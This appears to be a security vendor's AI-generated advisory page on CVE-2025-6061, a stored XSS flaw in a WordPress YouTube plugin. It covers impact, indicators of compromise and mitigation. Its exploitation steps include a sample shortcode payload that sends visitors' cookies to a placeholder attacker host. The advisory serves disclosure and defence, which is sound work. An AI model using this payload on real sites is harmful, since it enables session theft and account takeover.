CVE-2025-6061
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-6061 is a Stored Cross-Site Scripting (XSS) vulnerability in the kk Youtube Video plugin for WordPress. It affects all versions up to and including 0.2, where insufficient input sanitization and output escaping on user-supplied attributes in the kkytv shortcode allow authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages. The vulnerability was published on June 14, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The plugin's kkytv shortcode fails to properly sanitize user-supplied attributes before rendering them in HTML output, enabling stored XSS payloads to be persisted in the WordPress database and executed in victims' browsers upon page load. Exploitation requires at minimum contributor-level WordPress authentication, meaning the attacker must have an account with post-creation privileges. The vulnerable code can be reviewed in the plugin's source file on the WordPress plugin repository (WordPress Plugin Source, Wordfence).

Impact

Successful exploitation allows an authenticated attacker to inject persistent malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and defacement of site content. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the plugin itself to affect site visitors' browsers (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-6061 as of the available data. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the kk Youtube Video plugin version 0.2 or earlier. This can be done by checking the plugin's readme or changelog files exposed at /wp-content/plugins/kk-youtube-video/readme.txt.
  2. Obtain contributor access: Register or compromise a WordPress account with at minimum contributor-level privileges on the target site.
  3. Craft malicious shortcode: Create or edit a post/page and insert the kkytv shortcode with a malicious attribute payload, e.g., [kkytv id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish or submit the post: Submit the post for review or publish it (depending on role). The malicious script is stored in the WordPress database.
  5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the browser renders and executes the malicious JavaScript, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Plugin Source).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or wp-json/wp/v2/posts containing kkytv shortcode with encoded or obfuscated script tags in the request body.
  • Database: WordPress wp_posts table entries containing [kkytv shortcode with embedded <script>, javascript:, or event handler attributes (e.g., onerror, onload) in post content.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the kkytv shortcode, potentially carrying cookie or session data in query parameters.
  • File System: No direct file system artifacts expected for stored XSS; however, check for newly created or modified PHP files in /wp-content/plugins/kk-youtube-video/ that may indicate post-exploitation tampering.

Mitigation and workarounds

As of the available data, no patched version of the kk Youtube Video plugin beyond 0.2 has been confirmed. Site administrators should deactivate and remove the kk Youtube Video plugin immediately if it is installed. As a workaround, restrict contributor-level and above user registrations to trusted individuals, and consider using a WordPress security plugin (such as Wordfence) with a firewall rule to block exploitation attempts. Monitor the WordPress plugin repository for an updated version and apply it promptly when available (Wordfence).

Community reactions

Wordfence identified and reported this vulnerability, publishing it in their weekly WordPress vulnerability report for the period of June 9–15, 2025. No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been observed (Wordfence Weekly Report).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15413CRITICAL10
  • link-factory
NoNoAug 13, 2026
CVE-2026-18146HIGH7.2
  • fluentform
NoYesAug 13, 2026
CVE-2026-3639MEDIUM6.4
  • password-protect-page
NoNoAug 13, 2026
CVE-2026-14332MEDIUM5.4
  • ecwid-shopping-cart
NoYesAug 13, 2026
CVE-2026-3835MEDIUM5.3
  • prevent-direct-access
NoYesAug 13, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management